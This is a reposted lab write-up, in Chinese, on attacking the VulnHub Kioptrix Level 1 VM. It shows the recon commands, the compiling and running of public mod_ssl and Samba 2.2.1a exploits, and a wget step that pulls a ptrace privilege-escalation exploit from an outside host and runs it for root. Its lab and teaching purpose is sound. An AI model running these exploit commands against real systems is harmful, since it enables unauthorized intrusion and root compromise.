vulnhub-Kioptrix_Level_1靶机的测试报告

news/2024/10/12 8:18:44/

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、解决检测不到IP的问题

2、信息搜集

exp-toc" style="margin-left:40px;">3、利用exp

mod_ssl2.8%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E-toc" style="margin-left:80px;">①mod_ssl2.8版本漏洞

smb2.2%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E-toc" style="margin-left:80px;"> ②smb2.2版本漏洞

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.202.134)

靶  机:Linux kioptrix.level1 2.4.7-10

2、使用工具/软件

Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster(目录遍历)、searchspoilt(查找漏洞库)、msf(执行exp)、gcc(编译C源码)、apt-get(安装库函数)

测试网址:http://192.168.202.164

二、测试目的

根据靶机存在的smb版本漏洞和mod_ssl版本漏洞,利用exp获取root权限

三、操作过程

1、解决检测不到IP的问题

该靶机直接打开会检测不到IP

解决办法:

1.关闭虚拟机并移除

2.将.vmx文件中以 ethernet0 开头的条目删除并保存修改

3.将VirtualHW.version改为VMware的版本保存

4.重新添加网络适配器,原来的桥接删除

2、信息搜集

主机探测

arp-scan -l

靶机的IP:192.168.202.164

端口和服务探测

nmap -sS -A -T4 -p- 192.168.202.164

开启了ssh服务(22端口)、web服务(80端口、443端口)、smb服务(139端口)

可以看到apache版本是1.3.20   mod_ssl版本是2.8.4  都是很老的版本,存在漏洞

https服务访问不到,状态码400

目录扫描

gobuster dir -u http://192.168.202.164 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt

80端口打开是apache默认页

test.php页面也是测试页面,没有信息

exp">3、利用exp

通过exp直接能获取root权限

mod_ssl2.8%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E">①mod_ssl2.8版本漏洞

查找该版本漏洞,远程的缓冲区溢出漏洞

漏洞库:

https://www.exploit-db.com/

下载exp,查看源码,通常会有编译命令

安装需要的库

apt-get install libssl-dev

exp上传到kali,进行编译

gcc 47080.c -o ccc -lcrypto

报了错,但编译成功了

运行编译好的程序,查看参数使用方法

需要系统版本编号、IP地址、ssl服务的端口

查找一下靶机相关的系统版本

是redhat版本的Linux, apache版本是1.3.20

有两个版本编号可以使用

./ccc | grep '1.3.20'

使用管道符,查找特定apache版本的编号

./ccc 0x6a 192.168.202.164 443
./ccc 0x6b 192.168.202.164 443

都尝试,0x6b的版本getshell成功,不过只是普通用户权限

报了一些ssl连接失败的错误,https连接出了问题

一个新的exp未下载成功

可以手动下载编译并执行exp

使用http访问

​wget http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
gcc -o exploit ptrace-kmod.c
./exploit

成功获取root权限

smb2.2%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E" style="background-color:transparent;"> ②smb2.2版本漏洞

靶机smb服务的版本还未知,先用msf查看一下

使用auxiliary模块下的smb_version探测

search smb_version

设置靶机IP为参数即可

use 0
show options
set rhost 192.168.202.164
run

探测到smb服务的版本是2.2.1a

查找该版本的漏洞,有远程命令执行的exp可以使用

查找exp路径,查看源码

searchsploit -p 10.c
cp /usr/share/exploitdb/exploits/multiple/remote/10.c 10.c
cat 10.c

直接编译即可,运行查看参数

gcc 10.c -o zzz
./zzz

需要给定靶机的IP

-b参数指定系统类型

其他默认即可

执行exp获取靶机root权限

./zzz -b 0 192.168.202.164

四、结论

使用工具要及时更新版本,避免使用存在漏洞的版本。系统也要及时打补丁。


http://www.ppmy.cn/news/1537815.html

相关文章

04_23 种设计模式之《单例模式》

文章目录 一、单例模式基础知识单例模式有 3 个特点: 单例模式(Singleton Pattern)是一种创建型设计模式,它确保一个类只有一个实例,并提供一个全局访问点来获取这个实例。这种模式通常用于管理共享资源,如…

Oracle云主机申请和使用教程:从注册到SSH连接的全过程

今天我要和大家分享如何成功申请Oracle云主机,并进行基本的配置和使用。我知道很多同行的朋友在申请Oracle云主机时都遇到了困难(疑惑abc错误),可能试了很多次都没有成功。现总结一下这些年来的一些注册流程经验,或许你们也能成功申请到自己的…

使用aloam跑hesai Pandar-XT32激光雷达数据

参考自利用aloam跑数据集_aloam数据集-CSDN博客 第一步:查看bag的信息 输入rosbag info来查看bag包的信息: joeyjoey-Legion-Y7000P-IRX9:~$ rosbag info /home/joey/Downloads/data2022/indoor/LiDAR_IMU.bag path: /home/joey/Downloads/da…

springboot中配置优先级

先来看在idea当中运行程序时,如何来指定Java系统属性和命令行参数。 系统属性 1、右键启动类,点击Edit Configuration 点击Modify options 选择Add VM options,就是系统属性 选择Program arguements,就是命令行参数 总结&#…

毕设开源 LSTM股价预测

0 简介 今天学长向大家介绍一个机器视觉的毕设项目 毕业设计项目分享 LSTM股价预测 项目运行效果: 毕业设计 lstm股价预测 🧿 项目分享:见文末! 1 LSTM 神经网络 长短期记忆 (LSTM) 神经网络属于循环神经网络 (RNN) 的一种,特别适合处理…

前端父子传递属性值

1. Vue3.4.X之前  2. Vue3.4.X之后版本 defineModel 父页面  子页面   

鸿蒙开发(NEXT/API 12)【流量管理】网络篇

简介 流量管理提供了基于物理网络的数据流量统计能力,支持基于网卡/UID 的流量统计。 流量管理主要实现功能有: 支持基于网卡/UID 的实时流量统计。支持基于网卡/UID 的历史流量统计。支持基于网卡/UID 的流量变化订阅。 说明 为了保证应用的运行效…

哪个网站可以免费上传产品图册

随着互联网的快速发展,越来越多的企业和个人选择在线展示产品图册,以便更高效地推广和销售产品。然而,如何找到一个既可以免费上传产品图册,又能提供优质服务的网站呢?今天就给你分享一个好用的工具。 第一步&#xff…